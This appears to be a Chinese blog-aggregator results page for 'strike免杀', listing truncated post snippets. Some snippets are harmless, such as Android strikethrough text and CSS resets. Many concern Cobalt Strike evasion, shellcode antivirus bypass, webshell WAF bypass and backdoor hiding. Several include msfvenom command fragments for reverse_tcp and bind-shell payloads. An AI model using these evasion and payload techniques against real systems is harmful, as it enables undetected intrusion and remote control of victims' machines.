strike免杀

40

这感受就像英文中的strike，或者hit。05年，人人都知道阿空是个幼稚到不行的小孩，语文老师在课上拿我的作文说教，她
钟悟空·2021-05-21 13:23

UAF—metasequoia_2020_summon

给了你六个选项：1.show：展示你的生物及其等级2.summon[name]：召唤一个名字为name的生物3.level-up[level]：提升等级，最高只能四级4.strike：和黑暗之王开打5.
一路开花●-●·2021-05-20 10:43

TextView 设置中划线下划线等各种效果

Paint.UNDERLINE_TEXT_FLAG);//下划线pro_old_price.getPaint().setAntiAlias(true);//抗锯齿pro_old_price.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG
sun_wenming·2021-05-18 17:26

WAF绕过--小马绕过

WAF绕过之小马免杀WAF：安全狗-Apache版v4正常的PHP一句话木马：对于这个正常的一句话木马，安全狗会拦截。关于拦截其实最主要的还是测试，看看Waf究竟怎么拦截。
wwxxee·2021-05-17 22:22

Cobalt Strike 的特征与隐藏

前言很早之前已经在cobaltstrike上做过了一些特征处理，作为临时的一种方案。不过并没有完全去除，这次打算再把cobaltstrike的特征和隐藏的一些手段捋一遍。端口cobaltstrike默认50050端口，修改也很简单。只需要编辑teamserver文件，修改server_port即可。image.pngcobaltstrike.storecobaltstrike.store证书只用于
CSeroad·2021-05-15 17:44

我想我们在这里会好好的

因为去超市买东西，玛蒂达才得以避免杀生之祸，她径直走向里昂的房间，急促的敲门。并用颤抖恳求的声音说道，请开门！里昂虽有所犹豫终究还是打开了那扇关乎玛蒂达生死
夏天丫头·2021-05-08 13:15

Cobalt Strike生成证书，修改C2 profile流量加密混淆

CobaltStrike生成证书，修改C2profile流量加密混淆CobaltStrike就不多介绍了，懂得都懂本次实验环境kaliCobaltStrike4.1生成免费的SSL证书CobaltStrike默认使用的cobaltStrike.store证书，默认证书已经被各种IDS入侵检测工具和流量检测工具拦截和发现keytool工具介绍Keytool是一个Java数据证书的管理工具,Keyto
Tenet@1014·2021-05-06 22:41

shellcode免杀思路

shellcode免杀思路使用msfconsole生产的shellcode之后正常写入到程序的内存里面的话会直接被杀毒软件静态查杀就能杀掉。
不吃茄子的汪·2021-05-04 23:33

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
__周__·2021-05-04 14:10

Lesson 84 On strike

TextBusmenhavedecidedtogoonstrikenextweek.ThestrikeisduetobeginonTuesday.Nooneknowshowlongitwilllast.Thebusmenhavestated/thatthestrikewillcontinueuntilgeneralagreementisreachedaboutpayandworkingcondit
April2018·2021-04-29 08:48

游戏光盘或成历史！这些游戏，可有一款情怀属于你？

CS1.6：《反恐精英cs1.6》（Counter-Strike，简称CS）是由ValveSoftware公司研发的一款
免商店·2021-04-27 16:39

Strike Shoot Craft

Anaddictivefirstpersonshootergame.FightyourwaythroughtheUnderworld.Thepathleadsyouthroughlushjungles,eeriecatacombsandhightechbasesfilledwithdangerouscreatures,traps,vitalpowerupsandweapons.Theintuiti
wangzhaodong·2021-04-24 17:45

svg基础语法

当然，也可以使用fill-opacity以及strike-opacity分别定制stroke和fill的透明度。通过rx以及ry可以指定圆角的大小。设置为50%刚好为圆形。
秀逼·2021-04-21 09:24

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
二潘·2021-04-20 15:06

Cobalt strike的使用

Cobaltstrike简介CobaltStrike是一款美国RedTeam开发的渗透测试神器，常被业界人称为CS。它是渗透测试中不可缺少的利器。其拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等功能。同时，CobaltStrike还可以调用Mimikatz等其他知名工具，因此广受黑客喜爱。CobaltStrike分为客户端和服务端可分
梦境_旅行家·2021-04-19 09:01

python 免杀验证

使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windowsbindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控。输入命令：msfvenom-pwindows/shell_bind_tcpLPORT=1337-fc-opayload.c接着在Python中调用ctypes库，定义一个存在该shellcode的变量，
SkTj·2021-04-19 05:15

windows免杀工具三部曲（二）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 17:49

windows免杀工具三部曲（一）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 09:46

利用python免杀cs shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
蚁景科技·2021-04-14 21:19

免杀工具FourEye(重明)

首先感谢作者lengyi，感觉玩Web的除了一部分因为工作原因不需要接触免杀，其他的一些做渗透的都需要接触免杀，但是里面也有很多代码能力不足的同学，个人感觉挺需要这种一键免杀的工具。
LMcream·2021-04-12 23:42

博客

主要方向：java代码审计内网渗透免杀渗透测试
唐小风7·2021-04-12 15:25

metasploit简单实战 获得win7shell

两台虚拟机kali：192.168.56.158win7：192.168.56.1451.使用metasploit的msfvenom生成木马然后你可以通过各种方式把木马搞到别人电脑上最好做一下免杀处理，
luckyQAQ·2021-03-11 05:31

Android TextView Strike Through 动画

背景前段时间，PM提出了这么一个需求，是要在TextView中显示中划线，并且还要有动画。在网上搜了一通之后，发现并没有很好的现成的解决方案，于是就只好自己做一个了——ExTextView。先看一下实现的效果：screencapture-1524107424760.mp4.gif代码在这里。在下面的部分里，我会介绍一些在编写中划线动画过程里遇到的一些问题。在解决这些问题的过程中，对于Android
zijing07·2021-03-11 00:34

windows免杀工具-加载shellcode

前言HW在即，免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。
CSeroad·2021-02-09 15:03

windows命令行反弹shell(一)

powershell反弹cmdpowercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
CSeroad·2021-02-05 10:33

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）

1、首先cs生成一个64位的PythonPayload2、截取其中的Payload，并进行base64编码。3、把这一串子base64放到VPS上。并开启web服务。python3-mhttp.server77774、使用以下脚本。将PythonPayload进行反序列化。importpickleimportbase64shellcode="""importctypes,urllib.reques
daxi0ng·2021-01-31 11:41

Metasploit实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2021-01-26 02:51

（非同人文）Cobalt Strike DNS Beacon上线

同人文太多，就写一下我实际操作DNS上线CS的步骤。1、准备我的阿里云域名，设置DNS解析如下。(注意：VPS的53端口一定要开放)第一条NS解析是在告诉域名系统，想要知道ns1.daxi0ng.com的IP地址，就去问cs.daxi0ng.com。第二条A类解析是在告诉域名系统，cs.daxi0ng.com的IP地址是47.xx.xx.112。如何验证域名解析设置是否成功？在随便一台电脑上pin
daxi0ng·2021-01-18 17:17

杀毒与免杀技术详解---白嫖党福音

简介不管是社工钓鱼，还是一句话木马getshell，远控，亦或者是反弹shell，都会遇到杀软waf这些大敌，当然主要还是杀软，因此我们不得不考虑免杀进而实现我们渗透测试目的。
程序猿小白^·2021-01-15 13:43

一句话木马以及免杀

此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言WAF一般都是维护一个规则库，记录webshell常用的函数、方法等等，通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警，但是规则匹配肯定会有误报，waf一直告警也很烦，所以waf一般会稳定为首要目标，也会放宽一下规则，这就是绕的基础查杀软件我首先：D盾『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护
fuqin.ltd·2021-01-08 17:02

pyinstaller+cs生成免杀exe过杀毒软件

pyinstaller+cs生成免杀exe过杀毒软件简介：之前学习免杀都是使用Metasploit自带的编码进行，从未成功过。
Dmct·2021-01-01 21:44

.htaccess 文件不工作_手撕CTFHub-Web(六)：文件上传

用的Webshell是在真实的网站中获取的，我把这些Webshell保存了下来，都是免杀的无验证1.因为没有验证，直接上传了一个webshell，还告诉我传到了哪儿。
撒哈巴拉卡达西亚·2020-12-30 03:28

CS木马免杀(绕过360杀毒与腾讯安全管家)

CS木马免杀(绕过360杀毒与腾讯安全管家)步骤1搭建服务器.
为你而来xss·2020-12-29 17:55

【免杀】加载LSB隐写shellcode

参考资料：B站yuppt【学习分享】分离免杀shellcode#include《stdlib.h》作用#include〈stdio.h〉有什么作用C/C++文件读写操作——FILE*、fstream、windowsAPIfseek
Sp0n·2020-12-19 23:15

渗透测试-地基篇-Cobal Strike-taowu梼杌详细介绍（十九）

**渗透测试-地基篇-CobalStrike4.x-taowu梼杌详细介绍（十九）**作者：大余时间：2020-12-10简介：渗透测试-地基篇：该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。请注意：对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机
大余xiyou·2020-12-10 22:25

python 生成payload_利用python免杀cs shellcode

原创AgeloVito合天智汇0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年
weixin_39834488·2020-12-05 19:52

python pointer_免杀 | 利用Python免杀CS Shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
weixin_39842617·2020-11-27 08:31

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

前言前几天在看Python的shellcode加载器，在网上找了一个，结果加载器自身就过不了火绒，测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。原理及实现在绕过静态查杀方面，主要就是要隐藏特征，比较常见的就是各种混淆、加密，但加密后的代码到最终还是需要去执行它才行，代码执行这一个操作其实特征也是很明显的，像exec、eval、os.system、subprocess.
weixin_39558521·2020-11-25 18:04

PHP后门隐藏的一些技巧总结

前言如果想让自己的Webshell留的更久一些，除了Webshell要免杀，还需要注意一些隐藏技巧，比如隐藏文件，修改时间属性，隐藏文件内容等。
·2020-11-19 09:13

Flutter样式和布局控件简析(一)

开始搞前端的同学可能都习惯了CSS局部的思维，过去也出现过一些跟布局或者样式相关的标签，例如：big,center,font,s,strike,tt,u；但是目前也被CSS所代替，已经不推荐使用。
tain335·2020-11-15 14:34

Cobalt Strike 4.0-渗透攻击-First day

**CobaltStrike4.0-渗透攻击-Firstday(dayu)**作者：大余时间：2020-10-30请注意：对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。我必须再重申一遍：务必不要做未授权测试！不要未经授权在真实网络环境中复现任何文
大余xiyou·2020-10-30 22:40

【安全工具】Cobalt Strike 4.0系列教程:(二)infrastructure

Infrastructure（基础建设）本系列教程并非原创，仅用于学习交流。文章目录Infrastructure（基础建设）前言一、listenermanagement(监听器管理)二、stager三、stager工作流程举例四、HTTPBeacon介绍1.配置HTTPBeacon:2.HTTPBeacon传输过程五、Redirector(重定向器)1.介绍redirector2.使用socat实
Master先生·2020-10-25 22:56

【安全工具】Cobalt Strike 4.0系列教程:(一)Operations

Operations本系列教程并非原创，仅用于学习交流。文章目录Operations前言一、从红队角度看渗透难点二、课程设计三、CobaltStrike介绍1.CobaltStrike特性2.启动CobaltStrike四、客户端连接多个Teamserver1.Teamserver模型2.Teamserver角色五、团队角色六、日志七、报告前言基于最近本人在学习CS4.0，从各方面的学习，教程拿出
Master先生·2020-10-24 17:55

证明你是你,证明我是我,然后让我们愉快的玩耍吧


Objective(客观描述事实)Facts,Data,Senses美国的黑色星期五才是真的在打折啊,打折力度相当大啊…关于哥的输入法,有了进一步的想法家里被咬的稀烂strike支付要求TLS1.2,而我的是
我啃晴天·2020-10-11 09:06

小知识点

android:clipToPadding的使用2.TextView划线给TextView添加中划线textView.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG
贝贝ovo·2020-10-10 06:16

【漏洞利用框架】Metasploit基本使用

漏洞利用四、漏洞攻击流程1、搜索攻击模块2、进入模块3、查看模块所需参数4、设置配置参数5、查询该模块下的payload6、设置payload7、启动服务五、永恒之蓝六、meterpreter会话管理七、免杀八
是Z先生·2020-09-28 15:48

20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践免杀概述免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反
djt1999·2020-09-17 16:37

网页常用重置样式代码

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
道格拉斯Pro·2020-09-17 00:02

TextView

文字添加划线中划线：textview.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG);下划线：textview.getPaint().setFlags(
sjh_389510506·2020-09-16 16:35

css的配置文件reset的总结

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
chendawen2014·2020-09-16 10:39
上一页 8 9 10 11 12 13 14 15 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他